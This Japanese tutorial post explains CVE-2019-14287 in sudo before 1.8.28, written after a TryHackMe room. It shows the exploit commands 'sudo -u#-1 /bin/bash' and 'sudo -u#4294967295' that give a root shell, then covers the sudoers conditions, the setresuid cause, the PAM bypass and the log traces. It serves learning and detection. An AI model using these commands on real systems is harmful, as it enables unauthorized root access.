【ハッキング入門】CVE-2019-14287を使用した権限昇格について

# 背景

[TryHackMeのルーム](https://tryhackme.com/r/room/agentsudoctf)を解く過程でこの脆弱性を悪用する機会があったので自分なりに深堀してみます。
記事に誤りがある場合はコメントなどで指摘して下さい。

:::note alert
許可された環境でのみ実行してください。
:::

# 脆弱性の概要

> 本脆弱性は、sudo コマンド実行時に引数指定で渡せるユーザ ID の検証が 十分ではないことが理由であり、悪用されると、sudoers で root で実行不可として権限を設定 しているにも関わらず、root 権限でコマンドが実行できてしまう可能性があります。
>> [JPCERT/sudo コマンドの脆弱性 (CVE-2019-14287) について](https://www.jpcert.or.jp/newsflash/2019101601.html)より

CVE番号は`CVE-2019-14287`になります。

# 影響を受けるバージョン

本脆弱性の影響を受けるのは`sudo 1.8.28`より前のバージョンです。

# 脆弱性を悪用した権限昇格

## 環境

- AlamaLinux 8.9
- sudo 1.8.27

:::note info
前提として、一般ユーザーのシェルを取得できている状態です。
:::

一般ユーザーアカウント、`user`としてログイン中です。
`sudo 1.8.27`を使用しています。

```
[user@localhost sudo-1.8.27]$ sudo -V
Sudo バージョン 1.8.27
```

`root`以外のユーザーで全てのコマンドを実行できるようになっています。

```
[user@localhost sudo-1.8.27]$ sudo -l
ユーザー user は localhost 上で コマンドを実行できます
    (ALL, !root) ALL
```

もちろん特権ユーザー権限でコマンドを実行することはできません。

```
$ sudo -u#0 id
パスワード: 
残念ですが、ユーザー user は'/usr/bin/id' を root として localhost.localdomain 上で実行することは許可されていません。
```

しかし、`-u#-1`か`-u#4294967295`を指定すると特権ユーザー権限で任意のコマンドを実行できます。

```
[user@localhost ~]$ sudo -u#-1 /bin/bash
bash-4.4# whoami
root
```

```
[user@localhost sudo-1.8.27]$ sudo -u#4294967295 /bin/bash
bash-4.4# whoami
root
```

`root`のシェルを取得できました。

# 詳細情報

## 悪用される条件

`/etc/sudoers`の`(<run_as_user>:<run_as_group>)`部分で`ALL`を指定している場合に脆弱です。

```
<username> <hostname.example.com>=(<run_as_user>:<run_as_group>) <path/to/command>
```

https://access.redhat.com/documentation/ja-jp/red_hat_enterprise_linux/8/html/configuring_basic_system_settings/managing-sudo-access_configuring-basic-system-settings

なので下記のように設定した場合は成立しません。

```
user ALL = (!root) ALL
```

```
$ sudo -u#-1 id
パスワード: 
残念ですが、ユーザー user は'/usr/bin/id' を #-1 として localhost.localdomain 上で実行することは許可されていません。
```

## UIDの指定について

`sudo`コマンドでは`sudo -u#<uid> <command>`と指定することで、指定したユーザーIDの権限でコマンドを実行できます。

```
$ sudo -u#1234 id
uid=1234 gid=1001(user) groups=1001(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

`-1`や`4294967295`を指定した場合の動作はドキュメントに書いてあります。

> the setresuid(2) and setreuid(2) system calls, which sudo uses to change the user ID before running the command, treat user ID -1 (or its unsigned equivalent 4294967295), specially and do not change the user ID for this value

> sudoがコマンドを実行する前にユーザーIDを変更するために使用するsetresuid(2)およびsetreuid(2)システムコールは、ユーザーID -1（またはそれに相当する符号なしの4294967295）を特別に扱い、この値に対してユーザーIDを変更しません。
>> [Potential bypass of Runas user restrictions](https://www.sudo.ws/security/advisories/minus_1_uid/)より

`sudo`を使用するとコマンド実行前に`uid`を変更する処理として`setresuid()`と`setreuid()`というシステムコールを呼び出します。

このシステムコールに引数として`-1`や`unsigned int`型(符号なし整数)で`-1`になる`429496729`を渡した場合、IDは変更されません。

> 実ユーザー ID や実効ユーザー ID に -1 を与えた場合、 システムはその ID を変更しない。
>> [Ubuntu manuals setreuid](https://manpages.ubuntu.com/manpages/focal/ja/man2/setreuid.2.html)より

> 引き数のどれかが -1 の場合はその値は変更されずに残される。
>> [Ubuntu manual setresuid](https://manpages.ubuntu.com/manpages/focal/ja/man2/setresuid.2.html)より

:::note info
setuid系のシステムコールは`uid_t`型でUIDを受け取ります。なので`-1`は`4294967295`として処理されます。

> int setreuid(uid_t ruid, uid_t euid);
>> [Ubuntu manuals setreuid](https://manpages.ubuntu.com/manpages/focal/ja/man2/setreuid.2.html)より

> int setresuid(uid_t ruid, uid_t euid, uid_t suid);
>> [Ubuntu manual setresuid](https://manpages.ubuntu.com/manpages/jammy/ja/man2/setresuid.2.html)より
:::

sudoには`SUIDビット`が付与されているので，sudoそのものはrootとして実行されます。

```
[root@localhost sudo-1.8.27]# ls -l /usr/local/bin/sudo
-rwsr-xr-x. 1 root root 586264  6月 10 11:34 /usr/local/bin/sudo
```

そのため、コマンドがroot権限で実行されます。

## PAMモジュールについて

> Additionally, because the user ID specified via the -u option does not exist in the password database, no PAM session modules will be run.

> さらに、-u オプションで指定されたユーザー ID はパスワード データベースに存在しないため、PAM セッション モジュールは実行されません。
>> [Potential bypass of Runas user restrictions](https://www.sudo.ws/security/advisories/minus_1_uid/)より

PAMとは簡単に言うと、Linuxでのユーザー認証の仕組みです。

> PAMとは「Pluggable Authenticaton Modules」の頭文字を取ったものです。 「Authentication」すなわちユーザ認証に用いられているシステムです。

> 標準の状態では、PAMは/etc/passwd（また、これを暗号化した/etc/shadow など）の情報を元に認証を行います。
>> [Linuc PAM](https://linuc.org/study/knowledge/417/)より

`sudo`でPAM認証が通った場合、通常はPAMセッションのログが`pam_unix(sudo:session): session opened`,`pam_unix(sudo:session): session closed`のように記録される。

```
Dec 25 16:22:55 localhost sudo[17588]: pam_unix(sudo:session): session opened for user root by (uid=0)
Dec 25 16:22:56 localhost sudo[17588]: pam_unix(sudo:session): session closed for user root
```

が、今回の脆弱性ではPAMの認証をバイパスするのでセッションログは残らない。

## ログの出力について

`sudo`の実行に関するコマンドのログは`/var/log/secure`で見ることができます。
通常、`sudo`を実行するとログには`USER=<username> or #<uid>`のように出力されます。

```
Jun 10 22:42:30 localhost sudo[49507]:    user : TTY=pts/0 ; PWD=/root/sudo-1.8.27 ; USER=user ; COMMAND=/usr/bin/id
Jun 10 23:30:44 localhost sudo[50547]:    user : TTY=pts/0 ; PWD=/root/sudo-1.8.27 ; USER=#1234 ; COMMAND=/usr/bin/id
```

しかし、今回の脆弱性の場合、`-1`および`4294967295`がログに出力されていると分かります。

```
Jun 10 23:17:58 localhost sudo[50228]:    user : TTY=pts/0 ; PWD=/root/sudo-1.8.27 ; USER=#-1 ; COMMAND=/usr/bin/whoami
Jun 10 23:18:10 localhost sudo[50243]:    user : TTY=pts/0 ; PWD=/root/sudo-1.8.27 ; USER=#4294967295 ; COMMAND=/usr/bin/id
```

# 参考サイト

https://qiita.com/task4233/items/80a5ea1c0b4f8e45db2e

https://www.jpcert.or.jp/newsflash/2019101601.html

https://www.sudo.ws/security/advisories/minus_1_uid/

https://www.exploit-db.com/exploits/47502

https://blog.ytn86.net/2019/10/cve-2019-14287/

https://zenn.dev/kino_ma/articles/42c7f0e99bb347

https://manpages.ubuntu.com/manpages/focal/ja/man2/setreuid.2.html

https://manpages.ubuntu.com/manpages/jammy/ja/man2/setresuid.2.html